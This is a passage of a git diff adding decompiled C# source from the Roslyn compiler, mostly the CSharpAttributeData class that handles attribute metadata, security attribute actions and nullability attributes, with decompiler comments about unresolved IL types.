tuple5.definitelyManaged; + bool item3 = tuple5.hasGenerics; + flag3 = flag3 || item3; + if (item2) + { + return (definitelyManaged: true, hasGenerics: flag3); + } + } + break; + } + } + } + } + } + } + return (definitelyManaged: false, hasGenerics: flag3); + } + } + + internal static TypeSymbol NonPointerType(this FieldSymbol field) + { + if (!field.HasPointerType) + { + return field.Type; + } + return null; + } + + private static (ThreeState isManaged, bool hasGenerics) IsManagedTypeHelper(NamedTypeSymbol type) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected I4, but got Unknown + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Invalid comparison between Unknown and I4 + if (type.IsEnumType()) + { + type = type.GetEnumUnderlyingType(); + } + SpecialType specialType = type.SpecialType; + switch ((int)specialType) + { + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + case 13: + case 14: + case 15: + case 16: + case 17: + case 18: + case 19: + case 21: + case 22: + case 37: + case 38: + return (isManaged: (ThreeState)1, hasGenerics: false); + case 36: + return (isManaged: (ThreeState)2, hasGenerics: false); + default: + { + bool isGenericType = type.IsGenericType; + TypeKind typeKind = type.TypeKind; + if ((int)typeKind != 5) + { + if ((int)typeKind == 10) + { + return (isManaged: (ThreeState)0, hasGenerics: isGenericType); + } + return (isManaged: (ThreeState)2, hasGenerics: isGenericType); + } + return (isManaged: (ThreeState)1, hasGenerics: isGenericType); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CSharpAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CSharpAttributeData.cs new file mode 100644 index 0000000..98d1b6d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CSharpAttributeData.cs @@ -0,0 +1,836 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class CSharpAttributeData : AttributeData, ICustomAttribute +{ + private ThreeState _lazyIsSecurityAttribute; + + int ICustomAttribute.ArgumentCount => ((AttributeData)this).CommonConstructorArguments.Length; + + ushort ICustomAttribute.NamedArgumentCount => (ushort)((AttributeData)this).CommonNamedArguments.Length; + + bool ICustomAttribute.AllowMultiple + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + AttributeUsageInfo attributeUsageInfo = AttributeClass.GetAttributeUsageInfo(); + return ((AttributeUsageInfo)(ref attributeUsageInfo)).AllowMultiple; + } + } + + public abstract NamedTypeSymbol? AttributeClass { get; } + + public abstract MethodSymbol? AttributeConstructor { get; } + + public abstract SyntaxReference? ApplicationSyntaxReference { get; } + + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + internal override bool HasErrors + { + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + get + { + return ((AttributeData)this).HasErrors; + } + } + + public IEnumerable ConstructorArguments => ((AttributeData)this).CommonConstructorArguments; + + public IEnumerable> NamedArguments => ((AttributeData)this).CommonNamedArguments; + + protected override INamedTypeSymbol? CommonAttributeClass => AttributeClass.GetPublicSymbol(); + + protected override IMethodSymbol? CommonAttributeConstructor => AttributeConstructor.GetPublicSymbol(); + + protected override SyntaxReference? CommonApplicationSyntaxReference => ApplicationSyntaxReference; + + ImmutableArray ICustomAttribute.GetArguments(EmitContext context) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray commonConstructorArguments = ((AttributeData)this).CommonConstructorArguments; + if (commonConstructorArguments.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = commonConstructorArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + instance.Add(CreateMetadataExpression(current, context)); + } + return instance.ToImmutableAndFree(); + } + + IMethodReference ICustomAttribute.Constructor(EmitContext context, bool reportDiagnostics) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (AttributeConstructor.IsDefaultValueTypeConstructor()) + { + if (reportDiagnostics) + { + context.Diagnostics.Add(ErrorCode.ERR_NotAnAttributeClass, ((EmitContext)(ref context)).Location ?? NoLocation.Singleton, AttributeClass); + } + return null; + } + return ((PEModuleBuilder)(object)context.Module).Translate(AttributeConstructor, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + ImmutableArray ICustomAttribute.GetNamedArguments(EmitContext context) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray> commonNamedArguments = ((AttributeData)this).CommonNamedArguments; + if (commonNamedArguments.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray>.Enumerator enumerator = commonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + instance.Add(CreateMetadataNamedArgument(current.Key, current.Value, context)); + } + return instance.ToImmutableAndFree(); + } + + ITypeReference ICustomAttribute.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(AttributeClass, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + private IMetadataExpression CreateMetadataExpression(TypedConstant argument, EmitContext context) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (((TypedConstant)(ref argument)).IsNull) + { + return (IMetadataExpression)(object)CreateMetadataConstant(((TypedConstant)(ref argument)).TypeInternal, null, context); + } + TypedConstantKind kind = ((TypedConstant)(ref argument)).Kind; + if ((int)kind != 3) + { + if ((int)kind == 4) + { + return (IMetadataExpression)(object)CreateMetadataArray(argument, context); + } + return (IMetadataExpression)(object)CreateMetadataConstant(((TypedConstant)(ref argument)).TypeInternal, ((TypedConstant)(ref argument)).ValueInternal, context); + } + return (IMetadataExpression)(object)CreateType(argument, context); + } + + private MetadataCreateArray CreateMetadataArray(TypedConstant argument, EmitContext context) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + ImmutableArray values = ((TypedConstant)(ref argument)).Values; + IArrayTypeReference val = ((PEModuleBuilder)(object)context.Module).Translate((ArrayTypeSymbol)(object)((TypedConstant)(ref argument)).TypeInternal); + if (values.Length != 0) + { + IMetadataExpression[] array = (IMetadataExpression[])(object)new IMetadataExpression[values.Length]; + for (int i = 0; i < values.Length; i++) + { + array[i] = CreateMetadataExpression(values[i], context); + } + return new MetadataCreateArray(val, val.GetElementType(context), ImmutableArrayExtensions.AsImmutableOrNull(array)); + } + return new MetadataCreateArray(val, val.GetElementType(context), ImmutableArray.Empty); + } + + private static MetadataTypeOf CreateType(TypedConstant argument, EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode; + DiagnosticBag diagnostics = context.Diagnostics; + return new MetadataTypeOf(((PEModuleBuilder)pEModuleBuilder).Translate((TypeSymbol)((TypedConstant)(ref argument)).ValueInternal, (SyntaxNode)(object)cSharpSyntaxNode, diagnostics), ((PEModuleBuilder)pEModuleBuilder).Translate((TypeSymbol)(object)((TypedConstant)(ref argument)).TypeInternal, (SyntaxNode)(object)cSharpSyntaxNode, diagnostics)); + } + + private static MetadataConstant CreateMetadataConstant(ITypeSymbolInternal type, object value, EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).CreateConstant((TypeSymbol)(object)type, value, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + private IMetadataNamedArgument CreateMetadataNamedArgument(string name, TypedConstant argument, EmitContext context) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + Symbol symbol = LookupName(name); + IMetadataExpression val = CreateMetadataExpression(argument, context); + TypeSymbol typeSymbol = ((!(symbol is FieldSymbol fieldSymbol)) ? ((PropertySymbol)symbol).Type : fieldSymbol.Type); + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + return (IMetadataNamedArgument)new MetadataNamedArgument((ISymbolInternal)(object)symbol, ((PEModuleBuilder)pEModuleBuilder).Translate(typeSymbol, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics), val); + } + + private Symbol LookupName(string name) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = AttributeClass; + while ((object)namedTypeSymbol != null) + { + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.DeclaredAccessibility == 6) + { + return current; + } + } + namedTypeSymbol = namedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + } + return null; + } + + internal virtual bool IsTargetAttribute(string namespaceName, string typeName) + { + if (!AttributeClass.Name.Equals(typeName)) + { + return false; + } + if (AttributeClass.IsErrorType() && !(AttributeClass is MissingMetadataTypeSymbol)) + { + return false; + } + return AttributeClass.HasNameQualifier(namespaceName); + } + + internal bool IsTargetAttribute(Symbol targetSymbol, AttributeDescription description) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return GetTargetAttributeSignatureIndex(targetSymbol, description) != -1; + } + + internal abstract int GetTargetAttributeSignatureIndex(Symbol targetSymbol, AttributeDescription description); + + internal static bool IsTargetEarlyAttribute(NamedTypeSymbol attributeType, AttributeSyntax attributeSyntax, AttributeDescription description) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + int num = ((attributeSyntax.ArgumentList != null) ? ((IEnumerable)(object)attributeSyntax.ArgumentList.Arguments).Count((AttributeArgumentSyntax arg) => arg.NameEquals == null) : 0); + return AttributeData.IsTargetEarlyAttribute((INamedTypeSymbolInternal)(object)attributeType, num, description); + } + + internal bool IsSecurityAttribute(CSharpCompilation compilation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyIsSecurityAttribute == 0) + { + NamedTypeSymbol wellKnownType = compilation.GetWellKnownType((WellKnownType)238); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + _lazyIsSecurityAttribute = ThreeStateHelpers.ToThreeState(AttributeClass.IsDerivedFrom(wellKnownType, (TypeCompareKind)0, ref useSiteInfo)); + } + return ThreeStateHelpers.Value(_lazyIsSecurityAttribute); + } + + public override string? ToString() + { + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + if ((object)AttributeClass != null) + { + string text = ((Symbol)AttributeClass).ToDisplayString(SymbolDisplayFormat.TestFormat); + if (!((AttributeData)this).CommonConstructorArguments.Any() & !((AttributeData)this).CommonNamedArguments.Any()) + { + return text; + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(text); + builder.Append("("); + bool flag = true; + ImmutableArray.Enumerator enumerator = ((AttributeData)this).CommonConstructorArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + if (!flag) + { + builder.Append(", "); + } + builder.Append(current.ToCSharpString()); + flag = false; + } + ImmutableArray>.Enumerator enumerator2 = ((AttributeData)this).CommonNamedArguments.GetEnumerator(); + while (enumerator2.MoveNext()) + { + KeyValuePair current2 = enumerator2.Current; + if (!flag) + { + builder.Append(", "); + } + builder.Append(current2.Key); + builder.Append(" = "); + builder.Append(current2.Value.ToCSharpString()); + flag = false; + } + builder.Append(")"); + return instance.ToStringAndFree(); + } + return ((object)this).ToString(); + } + + internal void DecodeSecurityAttribute(Symbol targetSymbol, CSharpCompilation compilation, ref DecodeWellKnownAttributeArguments arguments) where T : WellKnownAttributeData, ISecurityAttributeTarget, new() + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors; + DeclarativeSecurityAction declarativeSecurityAction = DecodeSecurityAttributeAction(targetSymbol, compilation, arguments.AttributeSyntaxOpt, out hasErrors, (BindingDiagnosticBag)(object)arguments.Diagnostics); + if (hasErrors) + { + return; + } + SecurityWellKnownAttributeData orCreateData = ((ISecurityAttributeTarget)arguments.GetOrCreateData()).GetOrCreateData(); + orCreateData.SetSecurityAttribute(arguments.Index, declarativeSecurityAction, arguments.AttributesCount); + if (IsTargetAttribute(targetSymbol, AttributeDescription.PermissionSetAttribute)) + { + string text = DecodePermissionSetAttribute(compilation, arguments.AttributeSyntaxOpt, (BindingDiagnosticBag)(object)arguments.Diagnostics); + if (text != null) + { + orCreateData.SetPathForPermissionSetAttributeFixup(arguments.Index, text, arguments.AttributesCount); + } + } + } + + internal static void DecodeSkipLocalsInitAttribute(CSharpCompilation compilation, ref DecodeWellKnownAttributeArguments arguments) where T : WellKnownAttributeData, ISkipLocalsInitAttributeTarget, new() + { + ((ISkipLocalsInitAttributeTarget)arguments.GetOrCreateData()).HasSkipLocalsInitAttribute = true; + if (!compilation.Options.AllowUnsafe) + { + ((BindingDiagnosticBag)(object)arguments.Diagnostics).Add(ErrorCode.ERR_IllegalUnsafe, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + + internal static void DecodeMemberNotNullAttribute(TypeSymbol type, ref DecodeWellKnownAttributeArguments arguments) where T : WellKnownAttributeData, IMemberNotNullAttributeTarget, new() + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val = ((AttributeData)arguments.Attribute).CommonConstructorArguments[0]; + if (((TypedConstant)(ref val)).IsNull) + { + return; + } + if ((int)((TypedConstant)(ref val)).Kind != 4) + { + string text = ((TypedConstant)(ref val)).DecodeValue((SpecialType)20); + if (text != null) + { + ((IMemberNotNullAttributeTarget)arguments.GetOrCreateData()).AddNotNullMember(text); + ReportBadNotNullMemberIfNeeded(type, arguments, text); + } + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = ((TypedConstant)(ref val)).Values.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + string text2 = ((TypedConstant)(ref current)).DecodeValue((SpecialType)20); + if (text2 != null) + { + instance.Add(text2); + ReportBadNotNullMemberIfNeeded(type, arguments, text2); + } + } + ((IMemberNotNullAttributeTarget)arguments.GetOrCreateData()).AddNotNullMember(instance); + instance.Free(); + } + + private static void ReportBadNotNullMemberIfNeeded(TypeSymbol type, DecodeWellKnownAttributeArguments arguments, string memberName) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = type.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 6 || (int)current.Kind == 15) + { + return; + } + } + ((BindingDiagnosticBag)(object)arguments.Diagnostics).Add(ErrorCode.WRN_MemberNotNullBadMember, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, memberName); + } + + internal static void DecodeMemberNotNullWhenAttribute(TypeSymbol type, ref DecodeWellKnownAttributeArguments arguments) where T : WellKnownAttributeData, IMemberNotNullAttributeTarget, new() + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val = ((AttributeData)arguments.Attribute).CommonConstructorArguments[1]; + if (((TypedConstant)(ref val)).IsNull) + { + return; + } + TypedConstant val2 = ((AttributeData)arguments.Attribute).CommonConstructorArguments[0]; + bool flag = ((TypedConstant)(ref val2)).DecodeValue((SpecialType)7); + if ((int)((TypedConstant)(ref val)).Kind != 4) + { + string text = ((TypedConstant)(ref val)).DecodeValue((SpecialType)20); + if (text != null) + { + ((IMemberNotNullAttributeTarget)arguments.GetOrCreateData()).AddNotNullWhenMember(flag, text); + ReportBadNotNullMemberIfNeeded(type, arguments, text); + } + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = ((TypedConstant)(ref val)).Values.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + string text2 = ((TypedConstant)(ref current)).DecodeValue((SpecialType)20); + if (text2 != null) + { + instance.Add(text2); + ReportBadNotNullMemberIfNeeded(type, arguments, text2); + } + } + ((IMemberNotNullAttributeTarget)arguments.GetOrCreateData()).AddNotNullWhenMember(flag, instance); + instance.Free(); + } + + private DeclarativeSecurityAction DecodeSecurityAttributeAction(Symbol targetSymbol, CSharpCompilation compilation, AttributeSyntax? nodeOpt, out bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray commonConstructorArguments = ((AttributeData)this).CommonConstructorArguments; + if (!commonConstructorArguments.Any()) + { + if (IsTargetAttribute(targetSymbol, AttributeDescription.HostProtectionAttribute)) + { + hasErrors = false; + return DeclarativeSecurityAction.LinkDemand; + } + } + else + { + TypedConstant typedValue = commonConstructorArguments.First(); + TypeSymbol typeSymbol = (TypeSymbol)(object)((TypedConstant)(ref typedValue)).TypeInternal; + if ((object)typeSymbol != null && typeSymbol.Equals(compilation.GetWellKnownType((WellKnownType)237))) + { + return DecodeSecurityAction(typedValue, targetSymbol, nodeOpt, diagnostics, out hasErrors); + } + } + diagnostics.Add(ErrorCode.ERR_SecurityAttributeMissingAction, (nodeOpt != null) ? ((SyntaxNode)nodeOpt.Name).Location : NoLocation.Singleton); + hasErrors = true; + return DeclarativeSecurityAction.None; + } + + private DeclarativeSecurityAction DecodeSecurityAction(TypedConstant typedValue, Symbol targetSymbol, AttributeSyntax? nodeOpt, BindingDiagnosticBag diagnostics, out bool hasErrors) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Invalid comparison between Unknown and I4 + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Invalid comparison between Unknown and I4 + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Invalid comparison between Unknown and I4 + int num = (int)((TypedConstant)(ref typedValue)).ValueInternal; + bool flag; + switch (num) + { + case 6: + case 7: + if (IsTargetAttribute(targetSymbol, AttributeDescription.PrincipalPermissionAttribute)) + { + object displayString2; + Location securityAttributeActionSyntaxLocation2 = GetSecurityAttributeActionSyntaxLocation(nodeOpt, typedValue, out displayString2); + diagnostics.Add(ErrorCode.ERR_PrincipalPermissionInvalidAction, securityAttributeActionSyntaxLocation2, displayString2); + hasErrors = true; + return DeclarativeSecurityAction.None; + } + flag = false; + break; + case 1: + case 2: + case 3: + case 4: + case 5: + flag = false; + break; + case 8: + case 9: + case 10: + flag = true; + break; + default: + { + object displayString; + Location securityAttributeActionSyntaxLocation = GetSecurityAttributeActionSyntaxLocation(nodeOpt, typedValue, out displayString); + diagnostics.Add(ErrorCode.ERR_SecurityAttributeInvalidAction, securityAttributeActionSyntaxLocation, (nodeOpt != null) ? nodeOpt.GetErrorDisplayName() : "", displayString); + hasErrors = true; + return DeclarativeSecurityAction.None; + } + } + if (flag) + { + if ((int)targetSymbol.Kind == 11 || (int)targetSymbol.Kind == 9) + { + object displayString3; + Location securityAttributeActionSyntaxLocation3 = GetSecurityAttributeActionSyntaxLocation(nodeOpt, typedValue, out displayString3); + diagnostics.Add(ErrorCode.ERR_SecurityAttributeInvalidActionTypeOrMethod, securityAttributeActionSyntaxLocation3, displayString3); + hasErrors = true; + return DeclarativeSecurityAction.None; + } + } + else if ((int)targetSymbol.Kind == 2) + { + object displayString4; + Location securityAttributeActionSyntaxLocation4 = GetSecurityAttributeActionSyntaxLocation(nodeOpt, typedValue, out displayString4); + diagnostics.Add(ErrorCode.ERR_SecurityAttributeInvalidActionAssembly, securityAttributeActionSyntaxLocation4, displayString4); + hasErrors = true; + return DeclarativeSecurityAction.None; + } + hasErrors = false; + return (DeclarativeSecurityAction)num; + } + + private static Location GetSecurityAttributeActionSyntaxLocation(AttributeSyntax? nodeOpt, TypedConstant typedValue, out object displayString) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (nodeOpt == null) + { + displayString = ""; + return NoLocation.Singleton; + } + AttributeArgumentListSyntax argumentList = nodeOpt.ArgumentList; + if (argumentList == null || EnumerableExtensions.IsEmpty((IReadOnlyCollection)(object)argumentList.Arguments)) + { + displayString = (FormattableString)$"{((TypedConstant)(ref typedValue)).ValueInternal}"; + return ((SyntaxNode)nodeOpt).Location; + } + AttributeArgumentSyntax attributeArgumentSyntax = argumentList.Arguments[0]; + displayString = ((object)attributeArgumentSyntax).ToString(); + return ((SyntaxNode)attributeArgumentSyntax).Location; + } + + private string? DecodePermissionSetAttribute(CSharpCompilation compilation, AttributeSyntax? nodeOpt, BindingDiagnosticBag diagnostics) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + string text = null; + ImmutableArray> commonNamedArguments = ((AttributeData)this).CommonNamedArguments; + if (commonNamedArguments.Length == 1) + { + KeyValuePair keyValuePair = commonNamedArguments[0]; + NamedTypeSymbol attributeClass = AttributeClass; + string text2 = "File"; + string propName = "Hex"; + if (keyValuePair.Key == text2 && PermissionSetAttributeTypeHasRequiredProperty(attributeClass, text2)) + { + TypedConstant value = keyValuePair.Value; + string text3 = (string)((TypedConstant)(ref value)).ValueInternal; + XmlReferenceResolver xmlReferenceResolver = ((CompilationOptions)compilation.Options).XmlReferenceResolver; + text = ((xmlReferenceResolver != null && text3 != null) ? xmlReferenceResolver.ResolveReference(text3, (string)null) : null); + if (text == null) + { + object obj; + if (nodeOpt == null) + { + obj = null; + } + else + { + AttributeArgumentSyntax? namedArgumentSyntax = nodeOpt.GetNamedArgumentSyntax(text2); + obj = ((namedArgumentSyntax != null) ? ((SyntaxNode)namedArgumentSyntax).Location : null); + } + if (obj == null) + { + obj = NoLocation.Singleton; + } + Location location = (Location)obj; + diagnostics.Add(ErrorCode.ERR_PermissionSetAttributeInvalidFile, location, text3 ?? "", text2); + } + else if (!PermissionSetAttributeTypeHasRequiredProperty(attributeClass, propName)) + { + return null; + } + } + } + return text; + } + + private static bool PermissionSetAttributeTypeHasRequiredProperty(NamedTypeSymbol permissionSetType, string propName) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Invalid comparison between Unknown and I4 + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Invalid comparison between Unknown and I4 + ImmutableArray members = permissionSetType.GetMembers(propName); + if (members.Length == 1 && (int)members[0].Kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)members[0]; + if (propertySymbol.TypeWithAnnotations.HasType && (int)propertySymbol.Type.SpecialType == 20 && (int)propertySymbol.DeclaredAccessibility == 6 && propertySymbol.GetMemberArity() == 0 && (object)propertySymbol.SetMethod != null && (int)propertySymbol.SetMethod.DeclaredAccessibility == 6) + { + return true; + } + } + return false; + } + + internal void DecodeClassInterfaceAttribute(AttributeSyntax? nodeOpt, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + TypedConstant val = ((AttributeData)this).CommonConstructorArguments[0]; + ClassInterfaceType classInterfaceType = (((int)((TypedConstant)(ref val)).Kind == 2) ? ((TypedConstant)(ref val)).DecodeValue((SpecialType)2) : ((ClassInterfaceType)((TypedConstant)(ref val)).DecodeValue((SpecialType)11))); + if ((uint)classInterfaceType > 2u) + { + Location attributeArgumentSyntaxLocation = ((AttributeData)(object)this).GetAttributeArgumentSyntaxLocation(0, nodeOpt); + diagnostics.Add(ErrorCode.ERR_InvalidAttributeArgument, attributeArgumentSyntaxLocation, (nodeOpt != null) ? nodeOpt.GetErrorDisplayName() : ""); + } + } + + internal void DecodeInterfaceTypeAttribute(AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + TypedConstant val = ((AttributeData)this).CommonConstructorArguments[0]; + ComInterfaceType comInterfaceType = (((int)((TypedConstant)(ref 